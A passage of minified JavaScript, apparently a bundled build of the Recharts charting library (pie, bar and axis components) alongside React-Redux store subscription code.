null;var T=h==null||h===c,j=String(_)===u&&(f==null||i.dataKey===f)&&T,M=u?r:null,P=n&&j?n:M,R=yt(yt({},A),{},{stroke:A.stroke,tabIndex:-1,[cD]:_,[uD]:c});return v.createElement(fn,Ei({key:"sector-".concat(A?.startAngle,"-").concat(A?.endAngle,"-").concat(A.midAngle,"-").concat(_),tabIndex:-1,className:"recharts-pie-sector"},Wh(x,A,_),{onMouseEnter:S(A,_),onMouseLeave:w(A,_),onClick:O(A,_)}),v.createElement(aI,Ei({option:l??P,index:_,shapeType:"sector",isActive:j},R)))}))}function Nre(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:l}=e,{cornerRadius:c,startAngle:u,endAngle:f,dataKey:h,nameKey:p,tooltipType:m}=n,y=Math.abs(n.minAngle),x=Sre(u,f),S=Math.abs(x),w=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,O=r.filter(P=>lt(P,h,0)!==0).length,A=(S>=360?O:O-1)*w,_=S-O*y-A,T=r.reduce((P,R)=>{var I=lt(R,h,0);return P+(Oe(I)?I:0)},0),j;if(T>0){var M;j=r.map((P,R)=>{var I=lt(P,h,0),B=lt(P,p,R),q=wre(n,l,P),U=(Oe(I)?I:0)/T,V,oe=yt(yt({},P),i&&i[R]&&i[R].props);R?V=M.endAngle+tn(x)*w*(I!==0?1:0):V=u;var le=V+tn(x)*((I!==0?y:0)+U*_),ce=(V+le)/2,L=(q.innerRadius+q.outerRadius)/2,F=[{name:B,value:I,payload:oe,dataKey:h,type:m,graphicalItemId:n.id}],$=Nt(q.cx,q.cy,L,ce);return M=yt(yt(yt(yt({},n.presentationProps),{},{percent:U,cornerRadius:typeof c=="string"?parseFloat(c):c,name:B,tooltipPayload:F,midAngle:ce,middleRadius:L,tooltipPosition:$},oe),q),{},{value:I,dataKey:h,startAngle:V,endAngle:le,payload:oe,paddingAngle:tn(x)*w}),M})}return j}function Mre(e){var{showLabels:t,sectors:n,children:r}=e,i=v.useMemo(()=>!t||!n?[]:n.map(l=>({value:l.value,payload:l.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:l.cx,cy:l.cy,innerRadius:l.innerRadius,outerRadius:l.outerRadius,startAngle:l.startAngle,endAngle:l.endAngle,clockWise:!1},fill:l.fill})),[n,t]);return v.createElement(sne,{value:t?i:void 0},r)}function jre(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:l,animationBegin:c,animationDuration:u,animationEasing:f,activeShape:h,inactiveShape:p,onAnimationStart:m,onAnimationEnd:y}=t,x=gp(t,"recharts-pie-"),S=n.current,[w,O]=v.useState(!1),A=v.useCallback(()=>{typeof y=="function"&&y(),O(!1)},[y]),_=v.useCallback(()=>{typeof m=="function"&&m(),O(!0)},[m]);return v.createElement(Mre,{showLabels:!w,sectors:i},v.createElement(vp,{animationId:x,begin:c,duration:u,isActive:l,easing:f,onAnimationStart:_,onAnimationEnd:A,key:x},T=>{var j=[],M=i&&i[0],P=M?.startAngle;return i?.forEach((R,I)=>{var B=S&&S[I],q=I>0?uo(R,"paddingAngle",0):0;if(B){var U=Rt(B.endAngle-B.startAngle,R.endAngle-R.startAngle,T),V=yt(yt({},R),{},{startAngle:P+q,endAngle:P+U+q});j.push(V),P=V.endAngle}else{var{endAngle:oe,startAngle:le}=R,ce=Rt(0,oe-le,T),L=yt(yt({},R),{},{startAngle:P+q,endAngle:P+ce+q});j.push(L),P=L.endAngle}}),n.current=j,v.createElement(fn,null,v.createElement(Tre,{sectors:j,activeShape:h,inactiveShape:p,allOtherPieProps:t,shape:t.shape,id:r}))}),v.createElement(_re,{showLabels:!w,sectors:i,props:t}),t.children)}var Pre={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:an.area};function Rre(e){var{id:t}=e,n=zp(e,fre),{hide:r,className:i,rootTabIndex:l}=e,c=v.useMemo(()=>B1(e.children,go),[e.children]),u=we(p=>Ane(p,t,c)),f=v.useRef(null),h=Ye("recharts-pie",i);return r||u==null?(f.current=null,v.createElement(fn,{tabIndex:l,className:h})):v.createElement(Gr,{zIndex:e.zIndex},v.createElement(yre,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:u,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),v.createElement(fn,{tabIndex:l,className:h},v.createElement(jre,{props:yt(yt({},n),{},{sectors:u}),previousSectorsRef:f,id:t})))}function F1(e){var t=pn(e,Pre),{id:n}=t,r=zp(t,dre),i=Ur(r);return v.createElement(oI,{id:n,type:"pie"},l=>v.createElement(v.Fragment,null,v.createElement(sre,{type:"pie",id:l,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),v.createElement(gre,Ei({},r,{id:l})),v.createElement(Rre,Ei({},r,{id:l}))))}F1.displayName="Pie";function D2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function k2(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),Yre=G([Kre,Pa,Ra],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),uI=()=>we(Yre),L2=(e,t,n)=>{var r=n??e;if(!Vt(r))return on(r,t,0)},Gre=(e,t,n)=>{var r={},i=e.filter(_p),l=e.filter(h=>h.stackId==null),c=i.reduce((h,p)=>(h[p.stackId]||(h[p.stackId]=[]),h[p.stackId].push(p),h),r),u=Object.entries(c).map(h=>{var[p,m]=h,y=m.map(S=>S.dataKey),x=L2(t,n,m[0].barSize);return{stackId:p,dataKeys:y,barSize:x}}),f=l.map(h=>{var p=[h.dataKey].filter(y=>y!=null),m=L2(t,n,h.barSize);return{stackId:void 0,dataKeys:p,barSize:m}});return[...u,...f]};function I2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function od(e){for(var t=1;tA+(_.barSize||0),0);m+=(l-1)*c,m>=n&&(m-=(l-1)*c,c=0),m>=n&&p>0&&(h=!0,p*=.9,m=l*p);var y=(n-m)/2>>0,x={offset:y-c,size:0};u=r.reduce((A,_)=>{var T,j={stackId:_.stackId,dataKeys:_.dataKeys,position:{offset:x.offset+x.size+c,size:h?p:(T=_.barSize)!==null&&T!==void 0?T:0}},M=[...A,j];return x=M[M.length-1].position,M},f)}else{var S=on(t,n,0,!0);n-2*S-(l-1)*c<=0&&(c=0);var w=(n-2*S-(l-1)*c)/l;w>1&&(w>>=0);var O=ht(i)?Math.min(w,i):w;u=r.reduce((A,_,T)=>[...A,{stackId:_.stackId,dataKeys:_.dataKeys,position:{offset:S+(w+c)*T+(w-O)/2,size:O}}],f)}return u}}var Jre=(e,t,n,r,i,l,c)=>{var u=Vt(c)?t:c,f=Qre(n,r,i!==l?i:l,e,u);return i!==l&&f!=null&&(f=f.map(h=>od(od({},h),{},{position:od(od({},h.position),{},{offset:h.position.offset-i/2})}))),f},eae=(e,t)=>{var n=a1(t);if(!(!e||n==null||t==null)){var{stackId:r}=t;if(r!=null){var i=e[r];if(i){var{stackedData:l}=i;if(l)return l.find(c=>c.key===n)}}}};function tae(e,t){return e&&typeof e=="object"&&"zIndex"in e&&typeof e.zIndex=="number"&&ht(e.zIndex)?e.zIndex:t}var fI=e=>{var{chartData:t}=e,n=ft(),r=Vn();return v.useEffect(()=>r?()=>{}:(n(KN(t)),()=>{n(KN(void 0))}),[t,n,r]),null},z2={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},dI=An({name:"brush",initialState:z2,reducers:{setBrushSettings(e,t){return t.payload==null?z2:t.payload}}}),{setBrushSettings:Mue}=dI.actions,nae=dI.reducer;function rae(e,t,n){return(t=aae(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function aae(e){var t=iae(e,"string");return typeof t=="symbol"?t:t+""}function iae(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class V1{static create(t){return new V1(t)}constructor(t){this.scale=t}get domain(){return this.scale.domain}get range(){return this.scale.range}get rangeMin(){return this.range()[0]}get rangeMax(){return this.range()[1]}get bandwidth(){return this.scale.bandwidth}apply(t){var{bandAware:n,position:r}=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t!==void 0){if(r)switch(r){case"start":return this.scale(t);case"middle":{var i=this.bandwidth?this.bandwidth()/2:0;return this.scale(t)+i}case"end":{var l=this.bandwidth?this.bandwidth():0;return this.scale(t)+l}default:return this.scale(t)}if(n){var c=this.bandwidth?this.bandwidth()/2:0;return this.scale(t)+c}return this.scale(t)}}isInRange(t){var n=this.range(),r=n[0],i=n[n.length-1];return r<=i?t>=r&&t<=i:t>=i&&t<=r}}rae(V1,"EPS",1e-4);function oae(e){return(e%180+180)%180}var lae=function(t){var{width:n,height:r}=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,l=oae(i),c=l*Math.PI/180,u=Math.atan(r/n),f=c>u&&c{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=Sr(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=Sr(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=Sr(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:jue,removeDot:Pue,addArea:Rue,removeArea:Due,addLine:kue,removeLine:Lue}=hI.actions,cae=hI.reducer,uae=v.createContext(void 0),fae=e=>{var{children:t}=e,[n]=v.useState("".concat(Ac("recharts"),"-clip")),r=uI();if(r==null)return null;var{x:i,y:l,width:c,height:u}=r;return v.createElement(uae.Provider,{value:n},v.createElement("defs",null,v.createElement("clipPath",{id:n},v.createElement("rect",{x:i,y:l,height:u,width:c}))),t)};function pI(e,t){if(t<1)return[];if(t===1)return e;for(var n=[],r=0;re*i)return!1;var l=n();return e*(t-e*l/2-r)>=0&&e*(t+e*l/2-i)<=0}function pae(e,t){return pI(e,t+1)}function mae(e,t,n,r,i){for(var l=(r||[]).slice(),{start:c,end:u}=t,f=0,h=1,p=c,m=function(){var S=r?.[f];if(S===void 0)return{v:pI(r,h)};var w=f,O,A=()=>(O===void 0&&(O=n(S,w)),O),_=S.coordinate,T=f===0||$c(e,_,A,p,u);T||(f=0,p=c,h+=1),T&&(p=_+e*(A()/2+i),f+=h)},y;h<=l.length;)if(y=m(),y)return y.v;return[]}function vae(e,t,n,r,i){var l=(r||[]).slice(),c=l.length;if(c===0)return[];for(var{start:u,end:f}=t,h=1;h<=c;h++){for(var p=(c-1)%h,m=u,y=!0,x=function(){var _=r[S],T=S,j,M=()=>(j===void 0&&(j=n(_,T)),j),P=_.coordinate,R=S===p||$c(e,P,M,m,f);if(!R)return y=!1,1;R&&(m=P+e*(M()/2+i))},S=p;S(S===void 0&&(S=n(x,y)),S);if(y===c-1){var O=e*(x.coordinate+e*w()/2-f);l[y]=x=rn(rn({},x),{},{tickCoord:O>0?x.coordinate-O*e:x.coordinate})}else l[y]=x=rn(rn({},x),{},{tickCoord:x.coordinate});if(x.tickCoord!=null){var A=$c(e,x.tickCoord,w,u,f);A&&(f=x.tickCoord-e*(w()/2+i),l[y]=rn(rn({},x),{},{isShow:!0}))}},p=c-1;p>=0;p--)h(p);return l}function wae(e,t,n,r,i,l){var c=(r||[]).slice(),u=c.length,{start:f,end:h}=t;if(l){var p=r[u-1],m=n(p,u-1),y=e*(p.coordinate+e*m/2-h);if(c[u-1]=p=rn(rn({},p),{},{tickCoord:y>0?p.coordinate-y*e:p.coordinate}),p.tickCoord!=null){var x=$c(e,p.tickCoord,()=>m,f,h);x&&(h=p.tickCoord-e*(m/2+i),c[u-1]=rn(rn({},p),{},{isShow:!0}))}}for(var S=l?u-1:u,w=function(_){var T=c[_],j,M=()=>(j===void 0&&(j=n(T,_)),j);if(_===0){var P=e*(T.coordinate-e*M()/2-f);c[_]=T=rn(rn({},T),{},{tickCoord:P<0?T.coordinate-P*e:T.coordinate})}else c[_]=T=rn(rn({},T),{},{tickCoord:T.coordinate});if(T.tickCoord!=null){var R=$c(e,T.tickCoord,M,f,h);R&&(f=T.tickCoord+e*(M()/2+i),c[_]=rn(rn({},T),{},{isShow:!0}))}},O=0;O{var M=typeof h=="function"?h(T.value,j):T.value;return S==="width"?dae(bc(M,{fontSize:t,letterSpacing:n}),w,m):bc(M,{fontSize:t,letterSpacing:n})[S]},A=i.length>=2?tn(i[1].coordinate-i[0].coordinate):1,_=hae(l,A,S);return f==="equidistantPreserveStart"?mae(A,_,O,i,c):f==="equidistantPreserveEnd"?vae(A,_,O,i,c):(f==="preserveStart"||f==="preserveStartEnd"?x=wae(A,_,O,i,c,f==="preserveStartEnd"):x=xae(A,_,O,i,c),x.filter(T=>T.isShow))}var Oae=e=>{var{ticks:t,label:n,labelGapWithTick:r=5,tickSize:i=0,tickMargin:l=0}=e,c=0;if(t){Array.from(t).forEach(p=>{if(p){var m=p.getBoundingClientRect();m.width>c&&(c=m.width)}});var u=n?n.getBoundingClientRect().width:0,f=i+l,h=c+f+u+(n?r:0);return Math.round(h)}return 0},Eae=["axisLine","width","height","className","hide","ticks","axisType"];function Aae(e,t){if(e==null)return{};var n,r,i=Cae(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var{ticks:n=[],tick:r,tickLine:i,stroke:l,tickFormatter:c,unit:u,padding:f,tickTextProps:h,orientation:p,mirror:m,x:y,y:x,width:S,height:w,tickSize:O,tickMargin:A,fontSize:_,letterSpacing:T,getTicksConfig:j,events:M,axisType:P}=e,R=Sae(Tt(Tt({},j),{},{ticks:n}),_,T),I=Pae(p,m),B=Rae(p,m),q=Ur(j),U=Ec(r),V={};typeof i=="object"&&(V=i);var oe=Tt(Tt({},q),{},{fill:"none"},V),le=R.map(F=>Tt({entry:F},jae(F,y,x,S,w,p,O,m,A))),ce=le.map(F=>{var{entry:$,line:Z}=F;return v.createElement(fn,{className:"recharts-cartesian-axis-tick",key:"tick-".concat($.value,"-").concat($.coordinate,"-").concat($.tickCoord)},i&&v.createElement("line",yo({},oe,Z,{className:Ye("recharts-cartesian-axis-tick-line",uo(i,"className"))})))}),L=le.map((F,$)=>{var{entry:Z,tick:de}=F,D=Tt(Tt(Tt(Tt({textAnchor:I,verticalAnchor:B},q),{},{stroke:"none",fill:l},U),de),{},{index:$,payload:Z,visibleTicksCount:R.length,tickFormatter:c,padding:f},h);return v.createElement(fn,yo({className:"recharts-cartesian-axis-tick-label",key:"tick-label-".concat(Z.value,"-").concat(Z.coordinate,"-").concat(Z.tickCoord)},Wh(M,Z,$)),r&&v.createElement(Dae,{option:r,tickProps:D,value:"".concat(typeof c=="function"?c(Z.value,$):Z.value).concat(u||"")}))});return v.createElement("g",{className:"recharts-cartesian-axis-ticks recharts-".concat(P,"-ticks")},L.length>0&&v.createElement(Gr,{zIndex:an.label},v.createElement("g",{className:"recharts-cartesian-axis-tick-labels recharts-".concat(P,"-tick-labels"),ref:t},L)),ce.length>0&&v.createElement("g",{className:"recharts-cartesian-axis-tick-lines recharts-".concat(P,"-tick-lines")},ce))}),Lae=v.forwardRef((e,t)=>{var{axisLine:n,width:r,height:i,className:l,hide:c,ticks:u,axisType:f}=e,h=Aae(e,Eae),[p,m]=v.useState(""),[y,x]=v.useState(""),S=v.useRef(null);v.useImperativeHandle(t,()=>({getCalculatedWidth:()=>{var O;return Oae({ticks:S.current,label:(O=e.labelRef)===null||O===void 0?void 0:O.current,labelGapWithTick:5,tickSize:e.tickSize,tickMargin:e.tickMargin})}}));var w=v.useCallback(O=>{if(O){var A=O.getElementsByClassName("recharts-cartesian-axis-tick-value");S.current=A;var _=A[0];if(_){var T=window.getComputedStyle(_),j=T.fontSize,M=T.letterSpacing;(j!==p||M!==y)&&(m(j),x(M))}}},[p,y]);return c||r!=null&&r<=0||i!=null&&i<=0?null:v.createElement(Gr,{zIndex:e.zIndex},v.createElement(fn,{className:Ye("recharts-cartesian-axis",l)},v.createElement(Mae,{x:e.x,y:e.y,width:r,height:i,orientation:e.orientation,mirror:e.mirror,axisLine:n,otherSvgProps:Ur(e)}),v.createElement(kae,{ref:w,axisType:f,events:h,fontSize:p,getTicksConfig:e,height:e.height,letterSpacing:y,mirror:e.mirror,orientation:e.orientation,padding:e.padding,stroke:e.stroke,tick:e.tick,tickFormatter:e.tickFormatter,tickLine:e.tickLine,tickMargin:e.tickMargin,tickSize:e.tickSize,tickTextProps:e.tickTextProps,ticks:u,unit:e.unit,width:e.width,x:e.x,y:e.y}),v.createElement(Bte,{x:e.x,y:e.y,width:e.width,height:e.height,lowerWidth:e.width,upperWidth:e.width},v.createElement(Xte,{label:e.label,labelRef:e.labelRef}),e.children)))}),K1=v.forwardRef((e,t)=>{var n=pn(e,ao);return v.createElement(Lae,yo({},n,{ref:t}))});K1.displayName="CartesianAxis";var Iae={},mI=An({name:"errorBars",initialState:Iae,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(l=>l.dataKey===r.dataKey&&l.direction===r.direction?i:l))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:Iue,replaceErrorBar:zue,removeErrorBar:$ue}=mI.actions,zae=mI.reducer,$ae=["children"];function Bae(e,t){if(e==null)return{};var n,r,i=Uae(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r({x:0,y:0,value:0}),errorBarOffset:0},qae=v.createContext(Hae);function Fae(e){var{children:t}=e,n=Bae(e,$ae);return v.createElement(qae.Provider,{value:n},t)}function vI(e,t){var n,r,i=we(h=>La(h,e)),l=we(h=>Ia(h,t)),c=(n=i?.allowDataOverflow)!==null&&n!==void 0?n:Ut.allowDataOverflow,u=(r=l?.allowDataOverflow)!==null&&r!==void 0?r:Ht.allowDataOverflow,f=c||u;return{needClip:f,needClipX:c,needClipY:u}}function Vae(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=uI(),{needClipX:l,needClipY:c,needClip:u}=vI(t,n);if(!u||!i)return null;var{x:f,y:h,width:p,height:m}=i;return v.createElement("clipPath",{id:"clipPath-".concat(r)},v.createElement("rect",{x:l?f:f-p/2,y:c?h:h-m/2,width:l?p:p*2,height:c?m:m*2}))}var e0={exports:{}},t0={};var U2;function Kae(){if(U2)return t0;U2=1;var e=Ul();function t(f,h){return f===h&&(f!==0||1/f===1/h)||f!==f&&h!==h}var n=typeof Object.is=="function"?Object.is:t,r=e.useSyncExternalStore,i=e.useRef,l=e.useEffect,c=e.useMemo,u=e.useDebugValue;return t0.useSyncExternalStoreWithSelector=function(f,h,p,m,y){var x=i(null);if(x.current===null){var S={hasValue:!1,value:null};x.current=S}else S=x.current;x=c(function(){function O(M){if(!A){if(A=!0,_=M,M=m(M),y!==void 0&&S.hasValue){var P=S.value;if(y(P,M))return T=P}return T=M}if(P=T,n(_,M))return P;var R=m(M);return y!==void 0&&y(P,R)?(_=M,P):(_=M,T=R)}var A=!1,_,T,j=p===void 0?null:p;return[function(){return O(h())},j===null?void 0:function(){return O(j())}]},[h,p,m,y]);var w=r(f,x[0],x[1]);return l(function(){S.hasValue=!0,S.value=w},[w]),u(w),w},t0}var H2;function Yae(){return H2||(H2=1,e0.exports=Kae()),e0.exports}Yae();function Gae(e){e()}function Wae(){let e=null,t=null;return{clear(){e=null,t=null},notify(){Gae(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var q2={notify(){},get:()=>[]};function Xae(e,t){let n,r=q2,i=0,l=!1;function c(w){p();const O=r.subscribe(w);let A=!1;return()=>{A||(A=!0,O(),m())}}function u(){r.notify()}function f(){S.onStateChange&&S.onStateChange()}function h(){return l}function p(){i++,n||(n=e.subscribe(f),r=Wae())}function m(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=q2)}function y(){l||(l=!0,p())}function x(){l&&(l=!1,m())}const S={addNestedSub:c,notifyNestedSubs:u,handleChangeWrapper:f,isSubscribed:h,trySubscribe:y,tryUnsubscribe:x,getListeners:()=>r};return S}var Zae=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",Qae=Zae(),Jae=()=>typeof navigator<"u"&&navigator.product==="ReactNative",eie=Jae(),tie=()=>Qae||eie?v.useLayoutEffect:v.useEffect,nie=tie();function F2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function rie(e,t){if(F2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const f=Xae(i);return{store:i,subscription:f,getServerState:r?()=>r:void 0}},[i,r]),c=v.useMemo(()=>i.getState(),[i]);nie(()=>{const{subscription:f}=l;return f.onStateChange=f.notifyNestedSubs,f.trySubscribe(),c!==i.getState()&&f.notifyNestedSubs(),()=>{f.tryUnsubscribe(),f.onStateChange=void 0}},[l,c]);const u=n||lie;return v.createElement(u.Provider,{value:l},t)}var cie=sie,uie=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function fie(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function Y1(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(uie.has(r)){if(e[r]==null&&t[r]==null)continue;if(!rie(e[r],t[r]))return!1}else if(!fie(e[r],t[r]))return!1;return!0}function Co(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:sI}function _o(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:sI}var die="Invariant failed";function hie(e,t){throw new Error(die)}function vb(){return vb=Object.assign?Object.assign.bind():function(e){for(var t=1;t1&&arguments[1]!==void 0?arguments[1]:0;return(r,i)=>{if(Oe(t))return t;var l=Oe(r)||Vt(r);return l?t(r,i):(l||hie(),n)}},mie=(e,t,n)=>n,vie=(e,t)=>t,pu=G([l1,vie],(e,t)=>e.filter(n=>n.type==="bar").find(n=>n.id===t)),gie=G([pu],e=>e?.maxBarSize),yie=(e,t,n,r)=>r,bie=G([Fe,l1,Co,_o,mie],(e,t,n,r,i)=>t.filter(l=>e==="horizontal"?l.xAxisId===n:l.yAxisId===r).filter(l=>l.isPanorama===i).filter(l=>l.hide===!1).filter(l=>l.type==="bar")),xie=(e,t,n)=>{var r=Fe(e),i=Co(e,t),l=_o(e,t);if(!(i==null||l==null))return r==="horizontal"?cb(e,"yAxis",l,n):cb(e,"xAxis",i,n)},wie=(e,t)=>{var n=Fe(e),r=Co(e,t),i=_o(e,t);if(!(r==null||i==null))return n==="horizontal"?DN(e,"xAxis",r):DN(e,"yAxis",i)},Sie=G([bie,UZ,wie],Gre),Oie=(e,t,n)=>{var r,i,l=pu(e,t);if(l!=null){var c=Co(e,t),u=_o(e,t);if(!(c==null||u==null)){var f=Fe(e),h=jk(e),{maxBarSize:p}=l,m=Vt(p)?h:p,y,x;return f==="horizontal"?(y=Bl(e,"xAxis",c,n),x=$l(e,"xAxis",c,n)):(y=Bl(e,"yAxis",u,n),x=$l(e,"yAxis",u,n)),(r=(i=qd(y,x,!0))!==null&&i!==void 0?i:m)!==null&&r!==void 0?r:0}}},gI=(e,t,n)=>{var r=Fe(e),i=Co(e,t),l=_o(e,t);if(!(i==null||l==null)){var c,u;return r==="horizontal"?(c=Bl(e,"xAxis",i,n),u=$l(e,"xAxis",i,n)):(c=Bl(e,"yAxis",l,n),u=$l(e,"yAxis",l,n)),qd(c,u)}},Eie=G([Sie,jk,BZ,Pk,Oie,gI,gie],Jre),Aie=(e,t,n)=>{var r=Co(e,t);if(r!=null)return Bl(e,"xAxis",r,n)},Cie=(e,t,n)=>{var r=_o(e,t);if(r!=null)return Bl(e,"yAxis",r,n)},_ie=(e,t,n)=>{var r=Co(e,t);if(r!=null)return $l(e,"xAxis",r,n)},Tie=(e,t,n)=>{var r=_o(e,t);if(r!=null)return $l(e,"yAxis",r,n)},Nie=G([Eie,pu],(e,t)=>{if(!(e==null||t==null)){var n=e.find(r=>r.stackId===t.stackId&&t.dataKey!=null&&r.dataKeys.includes(t.dataKey));if(n!=null)return n.position}}),Mie=G([xie,pu],eae),jie=G([kt,Sx,Aie,Cie,_ie,Tie,Nie,Fe,TZ,gI,Mie,pu,yie],(e,t,n,r,i,l,c,u,f,h,p,m,y)=>{var{chartData:x,dataStartIndex:S,dataEndIndex:w}=f;if(!(m==null||c==null||t==null||u!=="horizontal"&&u!=="vertical"||n==null||r==null||i==null||l==null||h==null)){var{data:O}=m,A;if(O!=null&&O.length>0?A=O:A=x?.slice(S,w+1),A!=null)return ooe({layout:u,barSettings:m,pos:c,parentViewBox:t,bandSize:h,xAxis:n,yAxis:r,xAxisTicks:i,yAxisTicks:l,stackedData:p,displayedData:A,offset:e,cells:y,dataStartIndex:S})}}),Pie=["index"];function gb(){return gb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t=v.useContext(yI);if(t!=null)return t.stackId;if(e!=null)return RK(e)},Lie=(e,t)=>"recharts-bar-stack-clip-path-".concat(e,"-").concat(t),Iie=e=>{var t=v.useContext(yI);if(t!=null){var{stackId:n}=t;return"url(#".concat(Lie(n,e),")")}},zie=e=>{var{index:t}=e,n=Rie(e,Pie),r=Iie(t);return v.createElement(fn,gb({className:"recharts-bar-stack-layer",clipPath:r},n))},$ie=["onMouseEnter","onMouseLeave","onClick"],Bie=["value","background","tooltipPosition"],Uie=["id"],Hie=["onMouseEnter","onClick","onMouseLeave"];function Ma(){return Ma=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,fill:r,legendType:i,hide:l}=e;return[{inactive:l,dataKey:t,type:i,color:r,value:ip(n,t),payload:e}]},Gie=v.memo(e=>{var{dataKey:t,stroke:n,strokeWidth:r,fill:i,name:l,hide:c,unit:u,tooltipType:f,id:h}=e,p={dataDefinedOnItem:void 0,positions:void 0,settings:{stroke:n,strokeWidth:r,fill:i,dataKey:t,nameKey:void 0,name:ip(l,t),hide:c,type:f,color:i,unit:u,graphicalItemId:h}};return v.createElement(iI,{tooltipEntrySettings:p})});function Wie(e){var t=we(vo),{data:n,dataKey:r,background:i,allOtherBarProps:l}=e,{onMouseEnter:c,onMouseLeave:u,onClick:f}=l,h=mh(l,$ie),p=U1(c,r,l.id),m=H1(u),y=q1(f,r,l.id);if(!i||n==null)return null;var x=Ec(i);return v.createElement(Gr,{zIndex:tae(i,an.barBackground)},n.map((S,w)=>{var{value:O,background:A,tooltipPosition:_}=S,T=mh(S,Bie);if(!A)return null;var j=p(S,w),M=m(S,w),P=y(S,w),R=cn(cn(cn(cn(cn({option:i,isActive:String(w)===t},T),{},{fill:"#eee"},A),x),Wh(h,S,w)),{},{onMouseEnter:j,onMouseLeave:M,onClick:P,dataKey:r,index:w,className:"recharts-bar-background-rectangle"});return v.createElement(ph,Ma({key:"background-bar-".concat(w)},R))}))}function Xie(e){var{showLabels:t,children:n,rects:r}=e,i=r?.map(l=>{var c={x:l.x,y:l.y,width:l.width,lowerWidth:l.width,upperWidth:l.width,height:l.height};return cn(cn({},c),{},{value:l.value,payload:l.payload,parentViewBox:l.parentViewBox,viewBox:c,fill:l.fill})});return v.createElement(lne,{value:t?i:void 0},n)}function Zie(e){var{shape:t,activeBar:n,baseProps:r,entry:i,index:l,dataKey:c}=e,u=we(vo),f=we(P1),h=n&&String(l)===u&&(f==null||c===f),p=h?n:t;return 